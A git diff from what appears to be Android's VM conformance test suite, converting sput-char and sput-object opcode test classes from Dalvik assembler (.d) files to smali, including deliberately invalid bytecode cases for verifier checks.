+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.d
deleted file mode 100644
index fa16663..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_22.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.smali
new file mode 100644
index 0000000..ecd8c2b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_22.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.d
deleted file mode 100644
index fd69e4f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_23.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_23
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.smali
new file mode 100644
index 0000000..4fb2ed0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_23.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.d
deleted file mode 100644
index 8862e51..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_24.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.smali
new file mode 100644
index 0000000..a67e3fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_24.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.d
deleted file mode 100644
index ff1725f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_3.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_3
-.super java/lang/Object
-
-.field public static st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_3.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.smali
new file mode 100644
index 0000000..598bc36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_3.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_3;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.d
deleted file mode 100644
index 95cf09b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_4.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_4
-.super java/lang/Object
-
-.field public static st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-char v3, dot.junit.opcodes.sput_char.d.T_sput_char_4.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.smali
new file mode 100644
index 0000000..352be0a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_4.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-char v3, Ldot/junit/opcodes/sput_char/d/T_sput_char_4;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.d
deleted file mode 100644
index 8c44574..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_7.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_7
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_7.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.smali
new file mode 100644
index 0000000..66df07c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_7.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_7;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.d
deleted file mode 100644
index ac15f64..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_8.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-char v1, dot.junit.opcodes.sput_char.TestStubs.TestStubField C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.smali
new file mode 100644
index 0000000..3cc3371
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_8.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-char v1, Ldot/junit/opcodes/sput_char/TestStubs;->TestStubField:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.d
deleted file mode 100644
index 74279c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_9.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_9
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_9noclass.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.smali
new file mode 100644
index 0000000..a465488
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_9.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_9noclass;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.smali
new file mode 100644
index 0000000..bed75eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_1;
+.super Ljava/lang/Object;
+.source "T_sput_object_1.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+.field protected static st_p1:Ljava/lang/Object;
+
+.field private static st_pvt1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static getPvtField()Ljava/lang/Object;
+    .registers 2
+
+    sget-object v0, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_pvt1:Ljava/lang/Object;
+
+    return-object v0
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.smali
new file mode 100644
index 0000000..5f88e3a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_10;
+.super Ljava/lang/Object;
+.source "T_sput_object_10.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_10;->st_i1N:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.d
deleted file mode 100644
index a09c4af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_11.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.TestStubs.TestStubFieldFinal Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.smali
new file mode 100644
index 0000000..0efae65
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_11.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/TestStubs;->TestStubFieldFinal:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.smali
new file mode 100644
index 0000000..6073d86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_12;
+.super Ljava/lang/Object;
+.source "T_sput_object_12.java"
+
+
+# static fields
+.field public static final st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_12;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.java
index 9e16873..e66e7b1 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_object.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static short t = (short)(5 / 0);
     static Object value;
 }
